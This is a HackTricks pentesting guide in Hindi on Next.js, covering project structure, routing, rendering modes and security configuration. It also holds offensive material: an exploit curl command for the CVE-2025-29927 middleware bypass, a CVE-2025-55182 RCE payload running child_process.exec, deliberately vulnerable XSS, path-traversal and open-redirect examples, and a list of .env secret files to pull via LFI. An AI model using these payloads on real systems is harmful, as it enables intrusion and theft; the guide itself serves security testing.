NextJS

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

Next.js एप्लिकेशन की सामान्य वास्तुकला

सामान्य फ़ाइल संरचना

एक सामान्य Next.js प्रोजेक्ट एक विशिष्ट फ़ाइल और डायरेक्टरी संरचना का पालन करता है जो इसकी सुविधाओं जैसे रूटिंग, API endpoints, और स्टैटिक एसेट मैनेजमेंट को सक्षम बनाती है। यहाँ एक सामान्य लेआउट है:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

मुख्य डायरेक्टरी और फ़ाइलें

• public/: इमेज, फ़ॉन्ट और अन्य स्थैतिक assets जैसी फ़ाइलों की मेज़बानी करता है। यहाँ की फ़ाइलें रूट पाथ (/) पर उपलब्ध होती हैं।
• app/: आपके application के pages, layouts, components, और API routes के लिए केंद्रीय डायरेक्टरी। यह App Router पैटर्न अपनाता है, जो उन्नत routing फीचर्स और server-client कंपोनेंट पृथक्करण सक्षम करता है।
• app/layout.tsx: आपके application के लिए रूट layout को परिभाषित करता है, जो सभी pages को रैप करता है और headers, footers, और navigation bars जैसे एकसमान UI तत्व प्रदान करता है।
• app/page.tsx: रूट route / के लिए एंट्री पॉइंट के रूप में कार्य करता है, और होम पेज को रेंडर करता है।
• app/[route]/page.tsx: स्थिर और डायनामिक routes को हैंडल करता है। app/ के अंदर हर फ़ोल्डर एक route segment का प्रतिनिधित्व करता है, और उन फ़ोल्डरों के अंदर page.tsx उस route के कंपोनेंट के अनुरूप होता है।
• app/api/: API routes होते हैं, जो आपको HTTP requests को हैंडल करने वाली serverless functions बनाने की अनुमति देते हैं। ये routes पारंपरिक pages/api डायरेक्टरी की जगह लेते हैं।
• app/components/: पुन:प्रयोग किए जाने योग्य React components को रखता है जिन्हें विभिन्न pages और layouts में उपयोग किया जा सकता है।
• app/styles/: ग्लोबल CSS फाइलें और component-scoped styling के लिए CSS Modules रखता है।
• app/utils/: utility फ़ंक्शन्स, helper modules, और अन्य non-UI लॉजिक शामिल होते हैं जिन्हें पूरे application में साझा किया जा सकता है।
• .env.local: लोकल development वातावरण के लिए विशिष्ट environment variables संग्रहित करता है। ये variables version control में नहीं कमिट किए जाते।
• next.config.js: Next.js के व्यवहार को कस्टमाइज़ करता है, जिसमें webpack configurations, environment variables, और security settings शामिल हैं।
• tsconfig.json: प्रोजेक्ट के लिए TypeScript सेटिंग्स को कॉन्फ़िगर करता है, जिससे type checking और अन्य TypeScript फीचर्स सक्षम होते हैं।
• package.json: प्रोजेक्ट की dependencies, scripts, और metadata को मैनेज करता है।
• README.md: प्रोजेक्ट के बारे में डॉ큐मेंटेशन और जानकारी प्रदान करता है, जिसमें setup निर्देश, उपयोग के मार्गदर्शक और अन्य प्रासंगिक विवरण शामिल हैं।
• yarn.lock / package-lock.json: प्रोजेक्ट की dependencies को विशिष्ट वर्ज़नों पर लॉक करता है, ताकि विभिन्न वातावरणों में एकसमान installations सुनिश्चित हों।

Next.js में Client-Side

app डायरेक्टरी में फ़ाइल-आधारित Routing

app डायरेक्टरी नवीनतम Next.js वर्ज़नों में routing की आधारशिला है। यह फ़ाइल सिस्टम का उपयोग करके routes को परिभाषित करती है, जिससे route प्रबंधन सहज और स्केलेबल बनता है।

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

संभावित क्लाइंट-साइड कमजोरियाँ

जबकि Next.js एक सुरक्षित आधार प्रदान करता है, अनुचित कोडिंग प्रथाएँ कमजोरियाँ पैदा कर सकती हैं। प्रमुख क्लाइंट-साइड कमजोरियाँ शामिल हैं:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: static export route discovery via _buildManifest

जब nextExport/autoExport true होते हैं (static export), Next.js HTML में buildId को उजागर करता है और /_next/static/<buildId>/_buildManifest.js पर एक build manifest सर्व करता है। वहां sortedPages array और route→chunk mapping हर prerendered पेज को बिना brute force के सूचीबद्ध करते हैं।

• root response से buildId निकालें (अक्सर नीचे प्रिंट होता है) या उन <script> टैग्स से जो /_next/static/<buildId>/... लोड कर रहे हों।
• manifest को fetch करें और routes निकालें:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• खोजे गए paths (उदाहरण के लिए /docs, /docs/content/examples, /signin) का उपयोग auth परीक्षण और endpoint discovery के लिए करें।

Next.js में सर्वर-साइड

सर्वर-साइड रेंडरिंग (SSR)

पेज प्रत्येक अनुरोध पर सर्वर पर रेंडर होते हैं, जिससे उपयोगकर्ता को पूरी तरह रेंडर किया गया HTML मिलता है। इस स्थिति में आपको अनुरोधों को प्रोसेस करने के लिए अपना कस्टम सर्वर बनाना चाहिए।

उपयोग के मामले:

• बार-बार बदलने वाली डायनेमिक सामग्री।
• SEO optimization, क्योंकि search engines पूरी तरह रेंडर किए गए पेज को crawl कर सकते हैं।

क्रियान्वयन:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Static Site Generation (SSG)

पृष्ठ बिल्ड समय पर पूर्व-रेंडर किए जाते हैं, जिससे लोड समय तेज़ होते हैं और सर्वर लोड कम होता है।

उपयोग के मामले:

• ऐसी सामग्री जो बार-बार बदलती नहीं है।
• ब्लॉग, डॉक्यूमेंटेशन, मार्केटिंग पेज।

कार्यान्वयन:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverless फ़ंक्शंस (API Routes)

Next.js API endpoints को serverless फ़ंक्शंस के रूप में बनाने की अनुमति देता है। ये फ़ंक्शंस ऑन‑डिमांड चलते हैं और किसी समर्पित सर्वर की आवश्यकता नहीं होती।

उपयोग के मामले:

• फ़ॉर्म सबमिशन को संभालना।
• डेटाबेस के साथ इंटरैक्ट करना।
• डेटा प्रोसेस करना या third-party APIs के साथ इंटीग्रेट करना।

क्रियान्वयन:

Next.js 13 में app डायरेक्टरी के परिचय के साथ, routing और API हैंडलिंग अधिक लचीली और शक्तिशाली हो गई है। यह आधुनिक तरीका file-based routing सिस्टम के साथ निकटता से मेल खाता है लेकिन इसमें उन्नत क्षमताएँ शामिल की गई हैं, जिनमें server और client components के लिए सपोर्ट भी शामिल है।

बेसिक रूट हैंडलर

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

कार्यान्वयन:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

व्याख्या:

• स्थान: API routes app/api/ डायरेक्टरी के अंदर रखे जाते हैं।
• फ़ाइल नामकरण: प्रत्येक API endpoint अपने स्वयं के फ़ोल्डर में होता है जो route.js या route.ts फ़ाइल रखता है।
• Exported Functions: एक single default export की बजाय, विशिष्ट HTTP method functions (जैसे GET, POST) export किए जाते हैं।
• Response Handling: responses लौटाने के लिए Response constructor का उपयोग करें, जिससे headers और status codes पर अधिक नियंत्रण मिलता है।

अन्य paths और methods को कैसे हैंडल करें:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS कॉन्फ़िगरेशन

नियंत्रित करें कि कौन से origins आपके API routes तक पहुँच सकते हैं, जिससे Cross-Origin Resource Sharing (CORS) vulnerabilities को कम किया जा सके।

खराब कॉन्फ़िगरेशन उदाहरण:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

ध्यान दें कि CORS को सभी API routes में भी कॉन्फ़िगर किया जा सकता है middleware.ts फाइल के अंदर:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

समस्या:

• Access-Control-Allow-Origin: '*': यह किसी भी वेबसाइट को API तक पहुँचने की अनुमति देता है, जिससे संभावित रूप से मालिशियस साइटें बिना प्रतिबंध के आपके API के साथ इंटरैक्ट कर सकती हैं।
• Wide Method Allowance: सभी मेथड की अनुमति देने से हमलावर अनचाहे कार्य कर सकते हैं।

हमलावर इसका दुरुपयोग कैसे करते हैं:

हमलावर ऐसे मालिशियस वेबसाइट बना सकते हैं जो आपके API को अनुरोध भेजती हैं, और संभवतः डेटा प्राप्ति, डेटा संशोधन जैसी सुविधाओं का दुरुपयोग कर सकती हैं, या प्रमाणीकृत उपयोगकर्ताओं की ओर से अनचाहे कार्य ट्रिगर कर सकती हैं।

CORS - Misconfigurations & Bypass

क्लाइंट साइड में सर्वर कोड का एक्सपोजर

आसान है कि सर्वर द्वारा उपयोग किए गए कोड को क्लाइंट साइड में एक्सपोज़ और उपयोग किए जाने वाले कोड में भी इस्तेमाल किया जाए, यह सुनिश्चित करने के लिए कि किसी कोड फ़ाइल को कभी क्लाइंट-साइड में एक्सपोज़ न किया जाए, सबसे अच्छा तरीका है कि फ़ाइल की शुरुआत में यह import उपयोग किया जाए:

import "server-only"

प्रमुख फ़ाइलें और उनकी भूमिकाएँ

middleware.ts / middleware.js

Location: प्रोजेक्ट की root डायरेक्टरी या src/ के भीतर।

Purpose: Requests प्रोसेस होने से पहले server-side serverless function में कोड चलाता है, जिससे authentication, redirects, या responses संशोधित करने जैसे काम करने की अनुमति मिलती है।

निष्पादन प्रवाह:

1. Incoming Request: middleware अनुरोध को इंटरसेप्ट करता है।
2. Processing: अनुरोध के आधार पर ऑपरेशन करता है (e.g., authentication की जांच)।
3. Response Modification: response को बदल सकता है या अगले handler को नियंत्रण सौंप सकता है।

उदाहरण उपयोग मामलों:

• अनप्रमाणित उपयोगकर्ताओं को रीडायरेक्ट करना।
• कस्टम हेडर जोड़ना।
• अनुरोधों का लॉग रखना।

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

यदि authorization middleware में लागू है, तो प्रभावित Next.js रिलीज़ (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) को x-middleware-subrequest हेडर इंजेक्ट करके बाईपास किया जा सकता है। फ्रेमवर्क middleware recursion को स्किप करके सुरक्षित पेज लौटाएगा।

• मूल व्यवहार आम तौर पर /api/auth/signin जैसे login route पर 307 redirect होता है।
• प्रतिक्रिया को 200 में बदलने के लिए एक लंबा x-middleware-subrequest value भेजें (middleware को दोहराकर MAX_RECURSION_DEPTH तक पहुँचें):

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• क्योंकि प्रमाणीकृत पृष्ठ कई उप-संसाधन लोड करते हैं, assets के redirect होने से रोकने के लिए हर request में हेडर जोड़ें (उदा., Burp Match/Replace को खाली match string के साथ)।

next.config.js

Location: प्रोजेक्ट की रूट।

Purpose: Next.js के व्यवहार को कॉन्फ़िगर करता है, फीचर सक्षम/निष्क्रिय करना, webpack कॉन्फ़िगरेशन कस्टमाइज़ करना, environment variables सेट करना, और कई सुरक्षा फीचर्स कॉन्फ़िगर करना।

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js और pages/_document.js

pages/_app.js

उद्देश्य: डिफ़ॉल्ट App component को ओवरराइड करता है, जिससे global state, styles, और layout components की अनुमति मिलती है।

उपयोग के मामले:

• global CSS इंजेक्ट करना।
• layout wrappers जोड़ना।
• state management libraries को integrate करना।

उदाहरण:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

उद्देश्य: डिफ़ॉल्ट Document को ओवरराइड करता है, जिससे HTML और Body टैग्स को कस्टमाइज़ किया जा सके।

उपयोग के मामले:

• <html> या <body> टैग्स को संशोधित करना।
• meta टैग्स या कस्टम स्क्रिप्ट्स जोड़ना।
• थर्ड-पार्टी फॉन्ट्स को एकीकृत करना।

उदाहरण:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

कस्टम सर्वर (वैकल्पिक)

उद्देश्य: जबकि Next.js एक बिल्ट-इन सर्वर के साथ आता है, आप कस्टम रूटिंग या मौजूदा बैकएंड सेवाओं के साथ एकीकरण जैसे उन्नत उपयोग के मामलों के लिए एक कस्टम सर्वर बना सकते हैं।

नोट: कस्टम सर्वर का उपयोग तैनाती विकल्पों को सीमित कर सकता है, खासकर Vercel जैसे प्लेटफ़ॉर्म पर जो Next.js के बिल्ट-इन सर्वर के लिए अनुकूलित होते हैं।

उदाहरण:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

अतिरिक्त आर्किटेक्चरल और सुरक्षा विचार

एनवायरनमेंट वेरिएबल्स और कॉन्फ़िगरेशन

उद्देश्य: संवेदनशील जानकारी और कॉन्फ़िगरेशन सेटिंग्स को codebase के बाहर प्रबंधित करना।

सर्वोत्तम अभ्यास:

• .env फ़ाइलों का उपयोग करें: API keys जैसे वेरिएबल्स को .env.local में स्टोर करें (version control में शामिल नहीं होता)।
• Variables को सुरक्षित तरीके से एक्सेस करें: process.env.VARIABLE_NAME का उपयोग करके environment variables तक पहुँचें।
• Client पर Secrets कभी एक्सपोज़ न करें: सुनिश्चित करें कि संवेदनशील वेरिएबल्स केवल server-side पर उपयोग हों।

उदाहरण:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

नोट: वेरिएबल्स को सिर्फ server-side पर सीमित रखने के लिए, उन्हें env object से हटा दें या क्लाइंट एक्सपोज़र के लिए उन्हें NEXT_PUBLIC_ से प्रीफिक्स करें।

Useful server artifacts to target via LFI/download endpoints

यदि आप किसी Next.js ऐप में path traversal या download API पाते हैं, तो उन compiled artifacts को टारगेट करें जो server-side secrets और auth logic को leak करते हैं:

• .env / .env.local — session secrets और provider credentials के लिए।
• .next/routes-manifest.json और .next/build-manifest.json — पूरी route सूची के लिए।
• .next/server/pages/api/auth/[...nextauth].js — compiled NextAuth configuration को recover करने के लिए (अक्सर जब process.env वैल्यूज़ unset होती हैं तो fallback passwords होते हैं)।
• next.config.js / next.config.mjs — rewrites, redirects और middleware routing की समीक्षा करने के लिए।

Authentication and Authorization

Approach:

• Session-Based Authentication: उपयोगकर्ता सत्रों को प्रबंधित करने के लिए cookies का उपयोग करें।
• Token-Based Authentication: Stateless authentication के लिए JWTs लागू करें।
• Third-Party Providers: OAuth providers (e.g., Google, GitHub) के साथ next-auth जैसी libraries का उपयोग कर integrate करें।

Security Practices:

• Secure Cookies: HttpOnly, Secure, और SameSite attributes सेट करें।
• Password Hashing: passwords को स्टोर करने से पहले हमेशा hash करें।
• Input Validation: inputs को validate और sanitize करके injection attacks को रोकें।

उदाहरण:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

प्रदर्शन अनुकूलन

रणनीतियाँ:

• Image Optimization: Next.js के next/image component का उपयोग स्वचालित छवि अनुकूलन के लिए करें।
• Code Splitting: डायनेमिक imports का उपयोग करके कोड को विभाजित करें और प्रारंभिक लोड समय घटाएँ।
• Caching: API responses और static assets के लिए caching रणनीतियाँ लागू करें।
• Lazy Loading: आवश्यक होने पर ही components या assets लोड करें।

उदाहरण:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

आधुनिक Next.js “Server Actions” का उपयोग करता है जो सर्वर पर निष्पादित होते हैं लेकिन क्लाइंट से invoke किए जाते हैं। प्रोडक्शन में ये अनुरोध अस्पष्ट होते हैं: सभी POSTs एक सामान्य endpoint पर जाते हैं और इन्हें अलग करने के लिए build-specific hash भेजा जाता है जो Next-Action header में होता है। उदाहरण:

POST /
Next-Action: a9f8e2b4c7d1...

जब productionBrowserSourceMaps सक्षम होता है, minified JS chunks में createServerReference(...) कॉल्स होते हैं जो पर्याप्त संरचना (साथ ही संबंधित source maps) को leak करते हैं ताकि action hash और मूल function name के बीच मैपिंग पुनर्प्राप्त की जा सके। इससे आप Next-Action में देखे गए हैशेस को deleteUserAccount() या exportFinancialData() जैसे ठोस लक्ष्यों में अनुवाद कर सकते हैं।

निकालने का तरीका (regex on minified JS + optional source maps)

डाउनलोड किए गए JS chunks में createServerReference के लिए खोजें और hash तथा function/source symbol निकालें। दो उपयोगी पैटर्न:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Group 1: server action hash (40+ hex chars)
• Group 2: ऐसा symbol या path जो मौजूद होने पर source map के माध्यम से मूल function में resolve किया जा सके

यदि script किसी source map का विज्ञापन करता है (trailer comment //# sourceMappingURL=<...>.map), तो उसे fetch करें और symbol/path को मूल function नाम में resolve करें।

Practical workflow

• ब्राउज़ करते समय पैसिव डिस्कवरी: Next-Action headers और JS chunk URLs वाले requests को capture करें।
• संदर्भित JS bundles और साथ के *.map files (यदि मौजूद हों) को fetch करें।
• ऊपर दिया गया regex चलाकर एक hash↔name dictionary बनाएं।
• dictionary का उपयोग करके testing को target करें:
• Name-driven triage (उदाहरण के लिए transferFunds, exportFinancialData)।
• function नाम के आधार पर builds के बीच coverage ट्रैक करें (hashes builds के साथ rotate होते हैं)।

Exercising hidden actions (template-based request)

in-proxy में देखे गए किसी मान्य POST को template के रूप में लें और किसी अन्य खोजे गए action को target करने के लिए Next-Action value बदल दें:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater में replay करके उन otherwise unreachable actions की authorization, input validation और business logic की टेस्टिंग करें।

Burp automation

• NextjsServerActionAnalyzer (Burp extension) उपर्युक्त प्रक्रियाओं को Burp में ऑटोमेट करता है:
• JS chunks के लिए proxy history को mine करता है, createServerReference(...) एंट्रीज़ निकालता है, और उपलब्ध होने पर source maps को parse करता है।
• एक searchable hash↔function-name dictionary बनाए रखता है और function name के आधार पर builds में de-duplicate करता है।
• एक valid template POST locate कर सकता है और target action के hash को swap करके ready-to-send Repeater tab खोल सकता है।
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

नोट्स और सीमाएँ

• bundles/source maps से names recover करने के लिए production में productionBrowserSourceMaps सक्षम होना आवश्यक है।
• Function-name disclosure स्वयं में vulnerability नहीं है; इसका उपयोग discovery को guide करने और प्रत्येक action की authorization टेस्ट करने के लिए करें।

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments जो Server Actions को react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) पर expose करते हैं, उनमें Flight chunk deserialization के दौरान एक critical server-side prototype pollution होता है। Flight payload के अंदर $ references तैयार करके attacker polluted prototypes से arbitrary JavaScript execution और फिर Node.js process के अंदर OS command execution तक pivot कर सकता है।

NodeJS - proto & prototype Pollution

Flight chunks में Attack chain

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" ताकि resolver Object.prototype पर एक then function लिख दे। किसी भी plain object के बाद में processed होने पर वह thenable बन जाएगा, जिससे attacker RSC internals के अंदर async control flow को प्रभावित कर सकता है।
2. Rebinding to the global Function constructor: _response._formData.get को "$1:constructor:constructor" की ओर पॉइंट करें। resolution के दौरान, object.constructor → Object, और Object.constructor → Function, इसलिए भविष्य में _formData.get() के कॉल वास्तव में Function(...) को execute कर देते हैं।
3. Code execution via _prefix: JavaScript source को _response._prefix में रखें। जब polluted _formData.get invoke होगा, framework Function(_prefix)(...) evaluate करेगा, इसलिए injected JS require('child_process').exec() या कोई अन्य Node primitive चला सकता है।

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function exposure का मानचित्रण

React Server Functions (RSF) वे functions हैं जिनमें ‘use server’; directive शामिल होता है। उन फ़ंक्शनों में बंधे हर form action, mutation, या fetch helper एक RSC Flight endpoint बन जाता है जो attacker-supplied payloads को आसानी से deserialize कर लेगा। React2Shell assessments से व्युत्पन्न उपयोगी recon steps:

• Static inventory: निर्देश की तलाश करें ताकि समझ सकें कि framework द्वारा कितने RSFs स्वतः ही expose किए जा रहे हैं।

